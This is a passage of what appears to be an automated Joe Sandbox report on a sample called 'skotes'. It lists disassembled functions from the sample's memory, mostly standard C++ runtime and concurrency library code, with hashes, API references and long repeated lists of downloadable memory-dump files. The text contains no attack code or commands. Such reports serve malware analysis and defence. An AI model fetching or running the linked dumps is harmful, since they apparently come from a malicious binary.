Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 3e396f5e278a0d0dd2c15928e93a5cac9ccd3dea0fc80b8afabb882e7f46afd6
Instruction ID: 8a9cd1c0f33d5af4aac21d08023ddb52597427d973cc54bb2a8859de645b9e32
Opcode Fuzzy Hash: 3e396f5e278a0d0dd2c15928e93a5cac9ccd3dea0fc80b8afabb882e7f46afd6
Instruction Fuzzy Hash: 8371673090024AABDF15DF54C9A1AFEBBA3EF45308F644098FC416B392CB729D56DB61

Function 00632832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00632876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006328DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00632913

Part of subcall function 006307ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0063080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00632993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006329DB

Part of subcall function 006307C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006307DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006329EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00632A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00632A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00632A7E

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 03e47dbcfde6cd38cebc4caa5efa022ae5e82da068214172b988583d4338fa0d
Instruction ID: 393cfca8fb1e72b1144497ab991289666d37ee4427f27f5ad4fa8ab4b4c3d446
Opcode Fuzzy Hash: 03e47dbcfde6cd38cebc4caa5efa022ae5e82da068214172b988583d4338fa0d
Instruction Fuzzy Hash: C181AA31A0061B9BDB18DFA9D8B06BDB7B3BB48700F2450ADD44AE7391D770A985CBD4

Function 006369DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00636A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00636A51
List.LIBCONCRT ref: 00636A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00636A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00636AB9
List.LIBCONCRT ref: 00636AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00636B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00636B20
List.LIBCONCRT ref: 00636B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00636B68

Part of subcall function 00635EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00635EF7
Part of subcall function 00635EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00635F09

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 6b0e320135283b524cc18a2f4a409b0714a007ad065c7aef39ff4d070911bde2
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 73513E71A00219ABDB04DF64C995BEDB7B9BF08304F158069E916AB381DB30AE45CFD0

Function 006452A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 006453A0
type_info::operator==.LIBVCRUNTIME ref: 006453C7
___TypeMatch.LIBVCRUNTIME ref: 006454D3
IsInExceptionSpec.LIBVCRUNTIME ref: 006455AE
CallUnexpected.LIBVCRUNTIME ref: 00645650

Strings

csm, xrefs: 006452E0
csm, xrefs: 006453FE
csm, xrefs: 0064534D

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 4aba84721764bf17ac2d1371e8fb58f3c97ad0bb4d3de3820d7264c828fa20bf
Instruction ID: 5fad8954b6130ce9900a5ab3b04c48432d74865b025d597a5b2ac4483bda384d
Opcode Fuzzy Hash: 4aba84721764bf17ac2d1371e8fb58f3c97ad0bb4d3de3820d7264c828fa20bf
Instruction Fuzzy Hash: 85C17671900A09EFCF29EFA4D881AEEBBB7BF14311F14415AF8066B212D771DA51CB91

Function 00644840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00644877
___except_validate_context_record.LIBVCRUNTIME ref: 0064487F
_ValidateLocalCookies.LIBCMT ref: 00644908
__IsNonwritableInCurrentImage.LIBCMT ref: 00644933
_ValidateLocalCookies.LIBCMT ref: 00644988

Strings

csm, xrefs: 0064491D
S9d, xrefs: 00644925, 0064492E, 0064493F

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9d$csm
API String ID: 1170836740-3506811540
Opcode ID: e8dd16c420fedaed4dd0f5e7095f416c8aaa3855bac8ce8311f5bfbdb9baecae
Instruction ID: a70604e49bfa4196f9a9def99d72aa304863cdfc69cb94704aab03cbebd23693
Opcode Fuzzy Hash: e8dd16c420fedaed4dd0f5e7095f416c8aaa3855bac8ce8311f5bfbdb9baecae
Instruction Fuzzy Hash: BA41D634A00209AFCF10DF68C886B9E7BB6AF45318F148159E819AB392DB71DE55CF91

Function 00637364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 006373B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 006373F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 0063740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00637419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00637440

Strings

count, xrefs: 0063737E
ppVirtualProcessorRoots, xrefs: 00637438

Memory Dump Source

